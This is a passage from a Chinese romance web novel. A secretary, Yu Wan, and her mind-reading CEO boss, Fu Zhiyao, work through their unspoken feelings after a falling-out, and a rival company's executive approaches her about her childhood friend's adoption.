做了些什么,跟写流水账一样,还记录了她和陆随玩的各种游戏,不会写的字就用拼音代替,完全就是小孩子的日记本,没太大参考价值,于是虞晚将里面其余的东西连同日记本一起,珍惜地换了个木盒子装起来。
如果说失忆是高烧的后遗症,那么小说又是怎么回事?
尤其是毛新灵提到的,她发烧时的胡言乱语,‘她不要’难道是指小说剧情?高烧和失忆是她拒绝走小说剧情的反噬?
可她为什么要拒绝呢,按照她在小说中角色的重要程度来算,她不过是个小炮灰,还是说……主角身上的剧情会牵扯并影响她?
那新的问题又产生了,既然小说剧情会影响到她,她应该是牢记并远离剧情人物,而不是忘记一切,将自己当作穿书者,以一种旁观者的心态,重新和主角产生关系。
是上帝那只看不见的大手在操控吗?操控她这个得知了小说剧情,差点不受控制的人。
毛新灵没有打断虞晚的思考,等虞晚从思绪中抽离才继续下一个话题:“虞晚,我和高律师沟通时,询问他咨询费用是多少,他告诉我费用傅总已经支付过,我不需要付钱,但我知道傅总是你老板,我要是理所当然接受,你肯定会很难做,你能不能帮我问问,该给的律师费一分都不能少,否则我心底也过意不去。”
虞晚想起傅知尧离开时的那一瞥,回过神,应下:“……嗯。”
毛新灵虽然没亲眼见到那位傅总,但傅氏集团这个名号谁没听说过,要不是傅知尧注重隐私,生活低调,很少出现在公众场合,关于他长相和私生活的娱乐八卦绝对比过亿项目合作更劲爆吸引人眼球。
一个日理万机、赚钱速度按秒来计算的大集团老板,却会在深夜亲自赶来为并不熟悉的员工的朋友处理麻烦,毛新灵怎么看怎么觉得那位傅总对虞晚有超过正常上下级关系的情感。
就算是秘书,就算是能为公司作出巨大贡献的秘书,这种小事顶多叫其他秘书或者信任的主管来处理,何必亲自来。
还相当有分寸地没有和她见面,只让律师从专业角度帮她分析,不随意掺和指点,事情结束又贴心安排司机送两人回家。
这样的老板,都可以上感动中国十大老板榜单了吧。
毛新灵直白地询问虞晚:“那位傅总好像对你有意思,我这个外人都察觉到了,虞晚你呢,你是怎么想的?”
傅知尧对她有意思,这句话在今天之前虞晚是打死都不相信的,但今晚看到傅知尧急匆匆赶来,妥善处理好一切,以及最后离开时,停顿片刻回头看她的那一眼。
虞晚无法否认——或许傅知尧是有那么几分喜欢她的。
她不是对情爱完全不懂的傻子,从她生日那天起她就隐隐察觉到傅知尧对她的不一样和特别。
这种特别在旁人看来或许是只有百分之十的关照,但对于一个从不将情爱置于人生首位的傅知尧来说,这百分之十大概也是百分之百。
虞晚当然有过动容,为傅知尧的提拔和指点,为傅知尧的看重和鼓励,但她还没来得及充分心动,傅知尧的冷漠就先一步降临,像是往烧好的红碳上泼了一盆水,滋啦一声后,只剩一缕灰烟。
两人关系冷凝的时期里,虞晚晚上睡不着会仔细思索有关两人的家世和性格。
门当户对是现代人追求真爱的前提。
她和傅知尧,一个身价百亿,家族底蕴深厚,一个孤儿院长大,存款二十六万,在海市也就刚好够买两块大平层的地砖,她要自大猖狂到什么程度才会主动追求傅知尧?
这是现实差距。
另一方面,她和傅知尧性格也不一样,虽说傅知尧总是摆出一副拒人于千里之外的矜贵冷傲,但仔细看傅知尧家庭,就可以发现他完全是一个泡在蜜罐里长大的熊孩子。
在傅许安出生前,傅知尧独享了将近二十二年这样的宠爱,他得到的爱太多了,又怎么会稀罕她的喜欢和在意。
就算在意,也不过是小孩子没得到玩具的一种假性偏执,时间一长,连玩具长什么样都不会记得。
傅知尧性格中有霸道强势的一面,习惯高高在上,习惯被迁就,说冷暴力就冷暴力,她试图沟通,却仍被忽视。
虞晚当然可以接受傅知尧这种别扭的喜欢,但喜欢之后呢,在一起之后呢,需要考虑的事情太多太多了……
她不想自己的情绪被另一半牵着走,不想做灰姑娘的美梦,沉溺于虚幻易碎的泡沫当中,她只想努力赚钱,在海市安定下来,那样,她或许更有底气。
以及最重要的一点,她不认为傅知尧对她是真正的喜欢,比起喜欢,虞晚更愿意称之为好奇,因为傅知尧没见过她这么穷的人,没见过她这样被老板骂了还一门心思要为公司努力工作的傻子,一个缺钱的傻子。
也是这时,虞晚记起郁瑾潼说的那句“让傅知尧吃点爱情的苦。”
不一定要解读为她阻碍傅知尧追求爱情,也可以理解为她本人让傅知尧吃爱情的苦。
她要如何让傅知尧吃爱情的苦,拒绝傅知尧的告白?
傅知尧那样自大高傲的性格,连见面想表达关心说出口都成了斥责,不大可能会同她表白。
她向傅知尧告白被拒绝,告白被拒绝……如此重复三次,最后得到傅知尧矜持高贵的一个“嗯”还差不多。
居民楼微弱的路灯灯光从窗外落进来,昏昧黯淡,将室内一切物品的边界线模糊,良久,就在毛新灵半梦半醒间,听到虞晚微哑的回答。
“我们不会在一起的,我们之间的差距太大了。”-
另一边,傅知尧没有回浣溪沙,让司机将他送回老宅。
别墅并不空荡,因为有奶奶和傅许安在,家里到处都是她们生活的痕迹,进门博古架上不知何时摆上了一个橘黄色小猫玩毛线团的盘子,上过釉,在灯光照射下泛着细腻的亮光,还被傅许安贴了一张幼稚的字条。
上面是几个大字:不许动!(特别是傅知尧!)
出于直觉,傅知尧将盘子拿下来,翻过面,凝眸,看到底部几个字:To傅许安,天天开心鸭!
这段话后面还画了个粉色的爱心。
没猜错的话,应该是虞晚送的,而虞晚工位上那个和周围环境格格不入的彩色波点笔筒大概和这个盘子一样,都是她的作品。
‘呀’字错写成‘鸭’,明显的低级错字,还是说,这是年轻人之间的流行语?
他今年过了生日迈入二十九,虞晚今年过了生日是二十三,两人年龄差六岁,大吗?
四舍五入差不多五岁,不算太大。
傅知尧将盘子放回去,至于那张纸,傅知尧翻了个面,这才迈步上楼。
马吟芳夜里起来上厕所,顺道去傅许安房间看看她有没有盖好被子。
到傅许安房间一看,这孩子果不其然将被子踢到一边,大咧咧摊开手脚躺床上,马吟芳无奈摇了摇头,将被子给她盖好,傅许安翻了个身,嘴巴无意识吧嗒两下,笑了起来。
马吟芳往傅许安屁股上轻拍了两下,笑着问:“做什么美梦呢?”
梦里的傅许安自然不会给出回答。
摸了摸傅许安手脚,确认孩子没着凉,马吟芳这才轻悄悄关上门离开,正要回房间,冷不丁看到阳台边那道漆黑的影子,吓一跳。
“知尧?”马吟芳不确定地问。
别墅安保措施到位,马吟芳没有怀疑
是小偷入侵,而看那道影子的身形,显然是她那个忙工作半个多月没回家的孙子。
傅知尧转过身,声音有些低:“嗯,奶奶。”
“这么晚了还不睡?”马吟芳走过去,借着阳台外的壁灯,马吟芳看清傅知尧脸上的表情,“还喝了酒,有心事?”
傅知尧看她:“奶奶你不也没睡?”
马吟芳笑:“人老了,觉少,睡不着,要不要和我讲讲。”
傅知尧没说话。
他今天是参加酒局没错,参加的还是解除他和郁瑾潼婚约的酒局,不过他除了宣布消息时和郁瑾潼互敬的那杯,此外再没有喝。
因为宴会进行到一半,他就听到蔡秘书前来请假时的心声,知道虞晚因为动手打人进了警局。
什么要和虞晚保持距离,什么要减少和虞晚见面次数统统被他抛在脑后,所谓的理性,所谓的最优选择成了一堆狗屁。
傅知尧生气,生气虞晚怎么就是学不会权衡利弊,不知道一个人单枪匹马往里面冲会发生什么吗?尽管知道虞晚已经安全,尽管知道她没有受伤,但傅知尧脑子控制不住地往其他最坏结果去想,直到看见虞晚好好站在他面前。
傅知尧难道不后悔自己说的那些气话吗,他后悔,但他不知道怎么开口说自己后悔了。
才会在离开时禁不住转身看向虞晚。
傅知尧没有喝酒发泄情绪的习惯,喝酒的确能麻木情绪,解决一时的烦恼和愁丝,但无法从根本上解决问题,所以他没有喝酒,他想要更清醒、理智地思考——
他喜欢虞晚。
他要怎么做。
但喜欢这件事要如何清醒、理智?
第66章
二楼客厅有饮水机,马吟芳倒了两杯温水,将落地灯打开,拍了拍沙发,示意傅知尧坐下。
落地灯光线柔和温暖,投下墙角绿植昏黄的剪影,照亮阳台一隅。
傅知尧迟疑着坐到马吟芳对面,坦白道:“我听不见她的心声。”
“是虞晚。”马吟芳说。
肯定句。
傅知尧沉默地点头。
这分明是件很奇怪的事情,傅知尧听得见除家人外所有人的心声,却唯独听不见虞晚的心声,他差点以为虞晚是和他有血缘关系的妹妹。
可马吟芳居然不觉得奇怪。
傅知尧将疑惑问出口。
马吟芳说:“从你一开始选择她当秘书我就知道了。”
刚毕业的一个小姑娘,半点职场经验都没有,按照知尧的性格,能将人看顺眼就不错了,又怎么会将她调进总裁办。
再到傅许安学校举办亲子运动会,运动会结束,傅许安天天在家里念叨虞晚姐姐,听多了,马吟芳对虞晚这个小姑娘也有了一定了解,便叫人给她送了份小姑娘的资料。
说来也巧,虞晚所在的心爱孤儿院恰好在十五年前接受了她主持的教育慈善基金的资助,她在公司招聘通道里专门给接受过慈善基金帮助的儿童开辟了一条通道,只要基本能力和人品过关,招揽标准可以稍微放宽些,不必拘泥于学历,这才有了虞晚进傅氏实习的事情。
马吟芳又说:“你喜欢她。”
还是肯定句。
听到这句话,傅知尧反应倒没有第一次从周瞿洋口中听到时那么震惊和抗拒,他摩挲着手中杯子的杯壁,“您为什么觉得我喜欢她?”
马吟芳声音带着岁月沉淀的慈和,娓娓道来:“对我们来说,听不见心声是一件非常正常的事情,所以需要通过沟通交流、相处来往去判断一个人是否值得结交,你能听见其他人的心声,本就是在走捷径。”
“你听不见虞晚的心声,却不怀疑她的上进和努力,也不质疑她的为人和工作态度,让她转正留在总裁办,鼓励她独立做项目,这些都足够说明你的动心,这一点都不奇怪。”
“‘好医生’医疗平台合作项目的新闻发布会,我去了现场,看到她上台发言、比划手语,是非常优秀又非常努力的一个女孩,我也经常听安安聊她,两人周末一有时间就打电话聊天,每天在我耳边虞晚姐姐长虞晚姐姐短。”
以及知尧和虞晚出差去港城,她接到来自虞晚的那通电话。
傅知尧眸光沉沉,落在水杯微漾的波纹上,缄默片刻后开口:“我……我不知道怎么处理和虞晚的关系,因为听不见心声,我没办法判断她到底是讨厌我还是……”
对他也有好感。
因为听不见虞晚的心声,他像是一个被蒙住眼睛和耳朵走路的人,不知道该往哪个方向走才是正确的,也不知道如何做才能缓解两人现在的关系。
这比算利润率、做投资决策、看财务报表还要难一万倍。
之前他尚且能傲骄自大地说出虞晚是个财迷,而他刚好很有钱,他和虞晚不配他和谁配。
他们简直天生一对。
但虞晚如果真是个见钱眼开的财迷,他也不至于如此发愁。
听了傅知尧的话,马吟芳没继续追问虞晚和他之间发生了什么,反倒提起傅知尧小时候的事情。
“因为能听到人心声这项特异功能,小时候的你总知道如何说一些话去哄其他人开心,没少得到其他人的夸奖,得到夸奖,你开心得不得了,但对家里人,因为听不见心声,说话时总在犹豫,害怕说错话爸妈会不开心,所以在家里格外沉默,我们当时背着你开了一次家庭会议,重点讨论该如何在对话中给予你正向反馈,让你不至于对外人大大方方对家里人反倒小心谨慎。”
“你六岁时开始上小学,懂的事情多了,知道听见心声不是件多好的事,每天板着小脸,严肃的不得了,明玉和祈明当时计划着趁年轻再要个孩子,又怕你因为听到其他人心声误会,误会他们夫妻俩是不爱你了才生弟弟妹妹,二胎计划便一直搁置,直到你大学快毕业,不会再为心声困扰,才生了傅许安。”
这也是傅知尧和傅许安年纪相差二十多岁的原因。
明玉是真心喜欢小孩,家里录像机里至今还有她逗躺在婴儿车里傅知尧笑的画面,简简单单的遮脸游戏,也让明玉玩得乐此不疲。
“没必要和我商量什么,我上小学、上初中那时也能生,我不会介意。”提到逝去的父母,傅知尧心头情绪更酸胀。
四十多的年纪生孩子,就怕一个意外,他并不想母亲冒险。
“但他们介意,你是他们的孩子,他们爱你,愿意接纳你所有的小情绪,你以为明玉没提过吗,你当时气冲冲地说‘生吧生吧,生一百个最好’,被祈明一巴掌扇到屁股上,半夜就发起高烧,浑身软绵绵的,嗓子哑得话都说不出来,急得明玉直哭。”
一边哭一边骂祈明不该动手打孩子。
从那之后,两人谁也没再提要孩子的事情。
傅知尧还是第一次听说自己小时候说的混话,一时震惊地看着马吟芳,他对这事完全没印象。
马吟芳无奈笑笑,“你病好后,明玉和祈明哪里还敢问,所以啊,现在看到你受挫,我反而觉得是件好事,懂得换位思考,懂得抛开心声的助力去学会与人相处,你要明白,看清一个人的心,其实不需要靠心声这个技能。”
傅知尧困惑不已:“那要靠什么?”
“靠她近一点。”
傅知尧:“……”
老太太调皮地留下一句话,悠悠站起身,故作疲惫捶了捶自己的腰,“哎呦,人真是老了,坐一会儿骨头都酸,溜了溜了,老太婆我要去睡觉了。”
一句话成功打消傅知尧还想拉着马吟芳聊下去的念头。
算了,他的事情,折腾老太太干什么。
“那您早点休息,腰酸的话明天让芳姨给您按按,用艾草之类的中药材熏一熏。”
马吟芳虽然是傅氏名义上的董事长,但毕竟踏入了退休的行列,傅知尧都是让奶奶处理一些相对轻松的决策。
按照马吟芳说的,锻炼锻
炼脑子,不至于痴傻,因此闲下来的马吟芳除了工作、照顾傅许安,剩余的时间就是追追电视剧,研究养生。
某次傅知尧回家,被老太太按在按摩床上,背上来了好几个玻璃火罐,老太太指着吸出来的紫红色圆印子,理直气壮:“看看,都是湿气,喜欢待在空调房就是这个毛病!”
傅许安捂着嘴偷笑:“奶奶说错了,不是湿气,是章鱼怪兽,惩罚不听话的哥哥留下的!”
可以说,支撑傅知尧去公司大部分的力量来源就是奶奶和傅许安,到后来,因为听不见虞晚心声,每日工作后解除疲乏的最大乐趣反倒是观察虞晚脸上的表情,猜测她到底在想什么,再故意找茬,看虞晚一脸无语又不好反驳他的憋屈表情,每一个表情都鲜活可爱。
刻意和虞晚保持距离的这半个月,傅知尧不仅没能冷却自己的情绪,反而不止一次地回想,要是他在虞晚送他生日礼物时能告诉她自己很喜欢她送的礼物就好了。
喜欢一个人丢人吗?
不丢人。
但如何让对方喜欢自己呢?
傅知尧不知道-
毛新灵没有在虞晚家多待,吃过早饭没多久,毛新灵父母就来接她了,来时还专门给虞晚带了几箱牛奶和水果,真诚地握着虞晚的手表达感激。
要不是毛新灵体谅虞晚加班辛苦不想打扰她休息,强硬拉着自己父母离开,毛新灵父母恨不得把虞晚抬去她们家吃饭。
送走毛新灵一家,虞晚不着急工作,先是收拾毛新灵父母送来的礼品。
水果和牛奶留一部分就行,其余的可以拎去孤儿院分给小朋友们,趁着天气好,虞晚将屋子里外打扫干净,床单、沙发罩通通洗一遍,晒到阳台上,午后阳光侵袭,被单晒得发烫。
忙完清洁工作,虞晚终于有时间坐下来处理工作。
写完快闪活动的工作报告,虞晚条件反射点击定时邮件,打算发给傅知尧,动作忽然一顿,记起昨晚和傅知尧的争吵。
冲动是魔鬼,虞晚深刻领悟这句话的含义。
既然事情已经发生,后悔也无济于事,她现在应该思考一下自己的退路,如果傅知尧辞退她,她接下来应该怎么做?
找工作是肯定的,虽然她的存款足够她生活一阵子,但房租、水电、话费、生活费……光是想想就头大。
人果然是不满足的生物,得了千钱想万钱。
在成为傅知尧秘书前,虞晚觉得一个月六千就能在海市好好生活,现在存款有那么多,足够她低消费两年不去工作,但她居然觉得自己没工作活不下去。
总之,如果她被傅知尧辞退,找工作绝对要放在计划首位,否则即便躺平她也会焦虑。
找工作第一步要干什么,要先投简历。
趁着手机里招聘软件下载的功夫,虞晚打开电脑文件夹里的简历。
当初进傅氏时投的简历现在来看完完全全是幼儿园水平,直白的像是在写流水账,毫无任何修饰技巧可言,如果不是托马董事的福,虞晚恐怕真的进不了傅氏。
虞晚对着电脑认真敲敲打打,将自己在傅氏工作经历填充上去,按照时间线依次梳理,最后定睛一看,才发现她在这半年多时间内完成了多少工作。
难怪她敢和傅知尧叫板,这厚厚的工作内容不就是她的底气?
她要是还是个端茶倒水的小秘书,傅知尧就是骂她一句蠢货,她都要附和着说:“您说得对。”
虞晚自嘲地苦笑,继续修改,不重要的项目一笔带过,亲自带领的项目需要重点陈述,还需转化为更直观的数据,方便查看简历的HR评估考量。
一小时后,新鲜简历出炉。
虞晚将简历传到手机上,登陆招聘软件,填写个人基本信息,刚点下确认,连续几个不认识的公司跳出来发消息询问她是否有入职意愿。
虞晚看得发懵。
她不是刚注册的账号么,这些公司是怎么知道她要找工作的?
对着软件研究了一会儿才明白,这些消息是自动回复,不是真人。
虞晚暂时还不清楚傅知尧的想法,也就没有回复,将简历保存进账号资料库便退出招聘软件,退出时,跳出来一条消息,虞晚没注意,不小心碰了下,资料库里的简历光速飞了出去。
第67章
虞晚此时已经将软件从后台清除,自然没注意。
假期只有短暂两天,虞晚第一天忙碌家务、处理收尾工作,第二天就躺平在沙发上,只在傍晚的时候出门,帮住在一楼的林奶奶遛遛她家养的一只叫发财的小泰迪,当作锻炼。
发财是只两岁的小公狗,棕色细卷毛,脖子上围个蕾丝花圈,打扮得可可爱爱,运动量小得惊人,虞晚拉着它沿小区绕了几圈,就把发财累得吐舌头,死活不肯动,咬着牵引绳冲虞晚汪汪叫唤两声,表达不满,因此,后半程路是虞晚抱着发财走的。
毕竟是小狗,宠着点就宠着点吧。
周四早晨虞晚照常提前去公司,到点下楼给傅知尧买早餐,如无特殊情况,虞晚是不会跳过给傅知尧买早餐的工作步骤。
提着三明治和拿铁进公司时刚好遇上从门口进来的傅知尧。
浅灰色格纹西装配同色系灰色衬衫,没有打领结,整体看上去随性了几分,但西装版型好,面料高级,穿在身材颜值出众的傅知尧身上,一如既往的矜贵优雅。
虞晚忽然记起在电梯区撞上傅知尧的那次。
照理说傅知尧不该出现在电梯区,地下停车场直达顶层,傅知尧何必多此一举从公司正门进。
眼见傅知尧走到面前,虞晚无法装作视而不见,规矩停下脚步问好:“老板好。”
称呼又变回来了。
傅知尧看虞晚一眼,故作自然提起工作的话题:“虞秘书,快闪活动的工作报告还没说什么时候给我吧。”
虞晚差点忘记这件事,“抱歉,我已经写完了,稍后会发到您邮箱。”
虞晚态度平和的出乎傅知尧意料,傅知尧在片刻的欣喜后忽然反应过来,这哪里是平和,这分明是客套。
两人再次走进同一部电梯,虞晚安静按了楼层,没有问为什么。
虞晚想的和傅知尧想的其实不太一样。
她已经确定她不会和傅知尧在一起,既然如此,她喜欢他或者他喜欢她,对她来说就不是困扰,因为不会在一起,所以不需要再纠结反复对方的态度和情绪,没有太多执念,反倒能和从前一样坦然。
当然,这是虞晚所能想象到的最好结果。
但在敲门走进傅知尧办公室时,虞晚还是控制不住地心悸。
这回傅知尧没有装视而不见,他放下手中的笔,抬头看她,虞晚眼尖,认出那是自己送傅知尧的生日礼物。
两人对视,氛围稍微有那么一点尴尬。
“老板。”虞晚努力稳定声音。
“嗯。”
“快闪活动报告我已经发到您邮箱了,我来是想为前两天说的话向您道歉,非常感谢您当时不吝啬给予帮助,但我那时态度有问题,对您说了很多不客气的话……”
虞晚最初求助的其实并不是蔡杨,而是陆随,但陆随出差去了外地,虞晚又不好麻烦赖言栩和孙柠赶来,毕竟不是专业人士,虞晚怕两个人的慌乱成了四个人的慌忙,最后只能将求助电话打给稍微熟悉点的蔡杨。
不管傅知尧当时说了什么,态度又是如何,他的帮助是实打实的,虞晚承认这点,所以必须道谢。
傅知尧听得直皱眉头,抬手打断虞晚:“我不需要道歉,也不需要道谢。”
虞晚说的对,她当时根本没给他打电话,是他自己担心受怕跑去,到头来却指责虞晚态度不好,说到底,是他有问题。
他需要的不是一句抱歉,也不是一句谢谢,他现在只想要虞晚对他的态度和从前一样,这样就行了,他的要求很低的,他都没有一步登天要求虞晚和他结婚,这要求高吗?
但对上虞晚的眼睛,他又觉得,这要求的确高。
因为虞晚压根儿就不喜欢他。
虞晚不了解傅知尧的想法,被打断后抿了抿唇,没再说道歉的话,提起了高律师。
虞晚:“高律师当天帮忙的费用能麻烦老板您告诉我吗?我朋友非常感谢您当时提供的帮助,如果请律师的费用也算在您账上,我朋友会过意不去的。”
傅知尧回答得干脆:“出场费一千,没有打官司,其余费用不需要给。”
虞晚会意,点点头:“
好的,我会告诉我朋友的,谢谢您。”
傅知尧指腹轻敲着桌面,透着点不耐烦,他就不乐意听虞晚聊其他人。
见虞晚说完没有要立刻离开的意思,傅知尧稍微坐直,调整了一下姿势,轻咳两声,主动询问:“虞秘书还有要说的吗?”
虞晚神色有些复杂,踟躇片刻,终究是开了口
虞晚:“老板,前两天的话,有部分是我太冲动说错了,其实您另外找秘书也没关系,如果老板您觉得我工作有问题想要开除我,请您指出来是哪部分有问题,属实的话,不必您开除,我会主动离职。如果您觉得我工作没问题,只是单纯地想换掉我,那么我接下来要去的是傅氏旗下哪个分公司,又或者是哪个部门,和我现在的岗位能力是否适配,能不能劳烦您提前告诉我,我不要求职级上的变动,只有一点,关于工资部分,我现在每个月基础工资两万,算上绩效、全勤,每个月拿到手实际为两万五……”
傅知尧眼里的光一点点暗下去,他算是看明白虞晚了。
她这是在和自己谈判,为自己未来的去留争取有利条件,争取归争取,在傅知尧看来这就是划分界限,刺耳得很。
但他没有打断虞晚,静静听虞晚对自己职业的规划,以及对她现有工作能力的剖析。
和最初进公司相比,虞晚的成长和变化肉眼可见,他不得不承认,虞晚对她自己的了解远胜他自以为是的掌握。
傅知尧听到最后只剩沉默。
这和奶奶说的根本不一样,他读不懂虞晚的心,他要怎么去和虞晚相处,他读不懂虞晚的心,要怎么分辨虞晚的情意?
他根本不知道。
在虞晚离开前,傅知尧叫住她。
“虞晚……”
虞晚脚步一顿,转过身,态度恭敬:“老板您说。”
傅知尧胸腔内不明情绪在游走,好半天才憋出一句话:“让林源找秘书是为了扩充总裁办人才储备,不是对你不满意,也不是想开除你,至于我前段时间……”
对不起三个字化作鱼刺卡在嗓子眼,怎么都吐不出来。
虞晚笑了笑:“老板,您是傅氏总裁,您的所有决定自然是站在公司利益最大化角度,我相信您不是一时冲动,有自己的判断,您不必专门向我解释,我理解并尊重您的一切决定。”
我理解并尊重您的一切决定。
傅知尧心脏微微收紧,无数话语哽咽在喉咙间,酸胀难捱。他早餐喝的拿铁分明是甜的,为什么嘴里反倒泛起一阵苦涩,倒流进心底。
他看着虞晚,年轻干净的面孔上嘴角弧度微弯,嘴唇两侧小括号也淡淡的,神色并没有任何反讽的意味,像是打心眼里认可他的决定。
这比质疑他更让他揪心。
他缓缓握紧拳,吞下即将说出口的话,视线收回,无意落到手边那只黑金色精美的钢笔上,顿了顿:“还有一点我忘了说,虞秘书,你送我的生日礼物我很喜欢。”
虞晚眼睫颤了颤,“嗯。”
一句迟到的反馈。
走出办公室,回到工位,虞晚深吸一口气,准备投入工作,刚打开电脑,听到一旁蔡秘书和尚秘书聊天的声音。
“这可是大新闻啊,公关部这两天一直在加班处理,才将热度勉强压下去。”这是尚秘书。
“正常,老板娘这个位置可不只是一本结婚证那么简单,老板选择在这个时候和郁总解除婚约,主要还是为了帮郁总和郁家割席,毕竟前段时间刚宣布的‘好医生’合作项目,郁总也是重要合作伙伴之一,这表明傅总看中的不是郁家,是郁总这个人的本事,解除婚约也在意料之中,两人当未婚夫妻这么多年,一起出席公众场合次数屈指可数,外界又一直没传出两人结婚的打算,老板倒是能拖,但郁总毕竟是女性,她那边耽搁不起。”这是蔡秘书。
虞晚瞳孔紧缩,确认自己没有听错,僵坐在座位上半天没有回过神。
傅知尧和瑾潼姐对外宣布解除婚约了?什么时候的事?
虞晚下意识去拿手机,在网页里搜索,双方宣布解除婚约是在周一,正是她进警局的那一晚。
虞晚紧紧盯着手机页面,直到眼睛干涩僵直才理清自己的思绪。
虞晚清楚傅知尧,他必然是在公司同信远制药谈‘好医生’合作时就有了对外解除婚约的念头,和蔡秘书说的差不离——为了帮郁瑾潼和郁家割席。
合作是为了向外界证明傅氏对信远制药的认可,两人之间即便没有婚约也依旧是稳定的商业合作关系。
虽说傅知尧解除婚约和她没有关系,但虞晚今日工作效率明显下降,往常半小时就能解决的工作因为心不在焉,不得不花费多一倍的时间检查确认,她不想在这种时候还在工作上出差错,这岂不是给了傅知尧挑刺的机会。
今天唯一一个不算好消息的好消息大概是她总算没有收到那位森先生的花束和礼物。
下班时间,虞晚拎着包往地铁站方向走,刚走没几步,一辆炫酷张扬的红色敞篷跑车直接截停住她的去路。
驾驶座上的男人打扮精致,头发用发胶精心打理过,透着招摇狂妄,戴着墨镜,看不清长相,但虞晚确信自己并不认识对方。
不等虞晚有所动作,男人已经摘下墨镜,露出一张棱角分明的脸庞,高鼻高眉,长相俊朗,但做派和姿势透着一股‘帅而自知’的油腻。
男人挑了下眉,准确无误喊出虞晚的名字:“虞晚,虞小姐,很高兴认识你。”
虞晚蹙眉:“我不认识你。”
男人半点不着急,拿出手机,解锁,递到虞晚面前:“忘了自我介绍,我是陆决风……不对,说陆随你应该更熟悉,我是陆随的哥哥,陆屿森,介意上车聊聊吗?”
手机屏幕里是一张略微泛黄的照片,照片背景是熟悉的心爱孤儿院院门,仅有七岁的陆随被陌生的两位男女拥在正中央,神色阴郁地盯着镜头,眉头紧锁,一旁个子稍高点的男孩,大概就是面前这位名叫陆屿森的男人。
虞晚压下探究之意,一脸戒备地看向陆屿森,“你想说什么?”
“这是陆随被我家收养前拍的,虞小姐难不成没认出来?”说着,陆屿森恍然,看了眼四周,“虞小姐对我不放心也正常,不过这里不是一个好说话的地方,就去这附近找个地方聊聊如何?虞小姐的晚餐我包了。”
陆屿森怕虞晚不答应,多补充了一句:“虞小姐不是还为每日送来的花束和礼物发愁吗,我们可以顺带讨论讨论如何处理。”
虞晚视线扫过副驾驶上的一束花,沉默不语。
知道她不喜欢他送的花为什么还要送。
陆屿森反倒淡定,撩人的话信手拈来:“第一次见面,顺路就买了,希望虞小姐喜欢。”
虞晚没空和陆屿森在这里调情一般地聊天,干脆利落坐上车,将花束放到脚边,指挥他:“往前开,一公里的地方有一个咖啡馆,就在那里聊。”
“行,听你的。”
陆屿森嗓音带笑。
被催着将车从地下停车场开出来的小程还没搞懂原因,就看到傅知尧拉开车门,朝那辆红车跑车追去,只可惜跑车起步速度快,顷刻便将傅知尧抛在后面。
跑了几步,意识到追不上,傅知尧果断停下脚步,站在原地目送那辆张扬的跑车远去。
他真是昏了头,明明让小程开车追上去更快,但他又清楚,如果真的用车逼停,虞晚恐怕更生气。
他只在八卦群里看到虞晚被红色跑车拦下的身影,跑车车牌以及开跑车的男人,他一无所知。
至于八卦群里有没有人讨论男人的信息——
没有。
八卦群里充斥着虞秘书被富二代追求的兴奋,什么公然示爱,什么宣誓所有权,什么小说照进现实……话术一套又一套,看得傅知尧云里雾里。
重新坐上车,傅知尧听到小程掷地有声的心声-
【傅总喜欢虞秘书。】
傅知尧眯着眼,从车中央后视镜看他:“程亮,你追过女孩子吗?”
小程眼珠
转了一圈,声音深沉,透着浓厚的沧桑感和故事感:“追过。”-
【啊哈哈哈哈,风水轮流转,三十年河东三十年河西,翻身农奴把歌唱,我再也不是当初那个小程了,傅总要是喜欢我,我就让他穿红裤衩在公司楼下跳探戈,先笑再说。】
傅知尧眉心轻轻一跳:“……”
他伸手按了按太阳穴,“程亮,你没谈过恋爱吧。”
小程心虚:“傅总您怎么知道?”
傅知尧没解释。
他怎么知道?哼,因为没有女性会喜欢在公共场合穿红裤衩跳舞的疯子。
话虽如此,但小程仍有恋爱技巧要分享,毕竟这是他在傅知尧面前难得能找回场子的机会。
“但老板啊,追女孩子其实不难,就一点,你希望对方怎么对待你,你就要先如何对待她,你希望她对你温柔,那你就要对她温柔,你希望她对你耐心,那你就要先对她耐心,换位思考你懂吧?”
傅知尧:“……”
见傅知尧陷入思量,小程心声又冒出来-
【唉,看傅总这个样子就知道,他的恋爱路必然是道阻且艰,我恋爱导师的头衔恐怕要在傅总身上翻车,不过这也正常,当惯了当大老板的人陷入恋爱关系肯定也是习惯当大王,想让对方迁就他、哄着他,但恋爱又不是比赛,谁要分输赢谁就是傻逼。】
傅知尧:“……”
第68章
咖啡馆内。
虞晚和陆屿森面对面坐着,桌上放着两杯冰果汁,凝结的透明水珠沿着玻璃杯杯壁缓缓滑落,直到杯里浮冰寥寥,说话的两人谁也没有碰一下。
因为对陆屿森不放心,虞晚没有选择包厢。
此时正值下班时间,咖啡馆内人来人往,都是约会的年轻男女们,虞晚和陆屿森两人坐在角落,加上有一株高大的散尾葵遮挡,只要说话声音稍微压低一些,并不显眼。
简单交涉过几句,陆屿森不着痕迹地勾了勾唇,“虞小姐还不知道陆随改名的事情,也不知道陆随是被我们陆家收养了,对吗?”
有意思,真有意思。
和虞晚见了那么多次,却一次也没叫他的好继母闹到老头面前,是生怕老头对虞晚下手吗?
他的好弟弟真是护犊子。
陆屿森话锋一转:“我能理解陆决风的隐瞒,毕竟,谁让虞小姐你在傅氏工作呢。”
虞晚不解:“什么意思。”
不告诉她收养家庭和改名的事情和她在傅氏上班有什么联系吗?
陆屿森夸张地挑眉,露出饶有兴致的表情:“什么什么意思,我还没说吗?虞小姐,重新自我介绍一遍,我是屿风集团的执行总裁,陆屿森。”
看着对面男人伸出手,表情似笑非笑,虞晚后脊背顿时窜上来一股凉意。
并不是因为他是那个连续给自己送半个多月花束和礼物的神秘人,这点在决定同陆屿森来咖啡馆就知道了。
从港城回来后,虞晚搜索了有关傅知尧父母当年车祸新闻,根据小说剧情设置,寻找事故后最大的受益方,以及傅知尧在接手傅氏后频频针对且拒绝合作的集团或公司。
于是,屿风集团这个名字便进入她的视线。
而现在,屿风集团的执行总裁陆屿森就坐在自己面前,直白明了告诉她,陆随现在不叫陆随,叫陆决风,是被他们陆家收养的孩子。
虞晚仔细回想当初在心爱孤儿院和陆随的相遇,因为租房和孤儿院,她逐步放下对陆随的戒备。
过程中,虞晚猜测过陆随性格转变的缘由,当年那个性格高冷有点小傲娇的陆随变得沉稳温柔,彷佛收敛起所有的锋芒。
和陆随相处那么久,虞晚从未听他提起收养家庭,陆随不说,她也不会刻意去询问。
那陆随接近她是为了什么?为了她傅知尧秘书的身份?为了从她手中获取傅氏的机密文件?
不,陆随从没有过问自己的工作内容,反倒一直在担心她对工作的适应程度。
如果陆随有所隐瞒,那也是他认为隐瞒对她好,是站在她的角度去思量考虑,虞晚不会因为陆屿森几句挑拨就轻易怀疑陆随。
